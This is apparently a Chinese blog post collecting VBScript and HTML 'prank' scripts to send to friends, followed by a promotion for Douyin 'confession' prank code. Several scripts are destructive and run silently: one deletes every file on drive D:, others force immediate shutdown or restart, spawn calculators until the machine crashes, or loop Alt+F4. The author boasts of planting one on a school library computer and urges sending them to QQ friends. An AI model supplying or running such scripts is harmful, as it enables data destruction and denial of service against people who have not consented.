【代码一】
你打开好友的聊天对话框,然后记下在你QQ里好友的昵称，把下面代码里的xx替换一下，就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可)。
代码如下：
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("与 xx 聊天中")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit
【代码二】
我就用这个程序放在学校图书馆查询书刊的机器上，好多人都拿它没办法。
do
msgbox "You are foolish!"
loop
【代码三】
打开无数个计算器，直到死机。
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
【代码四】
直接关机。
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
【代码五】
删除D:\所有文件。
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
【代码六】
不断弹出窗口
while(1)
msgbox "哈哈 你被耍了！"
loop
【代码七】
不断按下alt+f4（开什么都关闭）。
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
【代码八】
按500次回车 （以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改）。
dim s
do until s=500
s=s+1
msgbox "哥们，给我按500次回车吧",64
loop
【代码九】
如果把他发给你的QQ好友 他不懂的话 如果不输我是猪 电脑就会在你设定的
时间内关机 我设置的是3分钟 只要输入就解除了 当然如果不输的话也有解除的办法。代码如下:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪，不说我是猪就一分钟关机，不信，试下···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪""","说不说","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"
【代码十】
网页整人效果代码，想看效果，只要复制这下面的所有代码保存在text文件里，修改文件后缀为txt就能看到效果了。
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>网页特效|Linkweb.cn/Js|---很恶心的常见整人效果</title>
</head>
<body>
<a href="" onMouseover="alert('为什么把鼠标放到这里?');
alert('我不是说过不可以这样吗？');
alert('你把我的话当什么了？');
alert('你知道错了吗？');
alert('什么？你居然....');
alert('居然还没意识到自己做错了？');
alert('那好，你要为此付出代价!');
alert('我要你在这里点足一千下......');
alert('什么？你开始有点后悔了？');
alert('何必呢？');
alert('你当初干什么去了？');
alert('不原谅你！');
alert('好从现在开始再点995下......');
alert('你的手开始累了吗?');
alert('什么？你已经没力气了？');
alert('你一直在求我原谅你啊！');
alert('看来你是真的知道错了!');
alert('下次你还会这么做吗？');
alert('真的不会了？');
alert('那好，今天就放你一马！');
alert('写封信给我说声对不起!');
alert('你能这么做我很高兴!!!');
document.bgColor='black';
document.fgColor='White';
window.location.href='mailto:mygod@god?subject=对不起,下次不敢了!';">不许把鼠标移到这里</a>
</body>
</html>
抖音整蛊表白小姐姐代码大全，分享源码加教程
之前这样的整蛊代码说过很多次……
先放两个小视频……
第一个视频是问“你喜欢我吗？”
如果点击不喜欢，那么，这个框永远不会消失……只有点击喜欢，框才会消失……
由于头条只能插入一个视频，所以，这一个就不插入了……
第二个视频，问小姐姐，你喜欢我吗？
一个选项是好，一个选项是不好……
当光标放到不好上的适合，不好会随机移动到另一个位置，不让你点……这个框也无法点击“x”号进行关闭……
当然了，对于懂些技术的人来说，会说：“crtl alt del”启动任务管理器……
这就是你单身三十年的理由？
煞风景……
怎么样？还记得之前的一些整蛊文章吗？
今天可以告诉大家一个思路，你新建一个记事本文档，在里面写下：
do
msgbox("随便什么内容，随便改……")
loop
然后重命名，将文件的后缀改成vbs格式。
那么，类似于小视频中的代码就做好了，电脑直接进行运行看看吧……
当然，如果像视频那样加入条件，只需在代码中加入条件即可，可参考下方代码，当然，实现的方式，有多种：
条件格式可以用if来实现：
如下：
if msgbox= VBOK then
msgbox（“一个弹出的内容”）
elseif msgbox=VBcancel then
msgbox（“另一种内容”）
不过像这种视频种的那种程序呢？还需要一点别的……
不过没关系，我给大家分享了四个代码，在一个包里，大家可以下载研究……
四个代码分别是：
视频中的代码……
第一个例子中的代码……
第二个例子中的代码……
（不过呢，第二个代码倒数第二行第三行给大家添加了一点小惊喜……）
（至于什么惊喜，大家运行一下就知道了……）
（这个惊喜是给最后点拒绝的人准备的……）
（哈哈……）
第四个代码是：一个手机端使用的代码，你可以直接发送到对方的手机维修，她只要点开，就可以了……
（这个更简单，大家右键，用记事本打开，就可以看到了……以上都可以……）
好了，教程源码，只需要在本头条号内回复“抖音代码”即可。
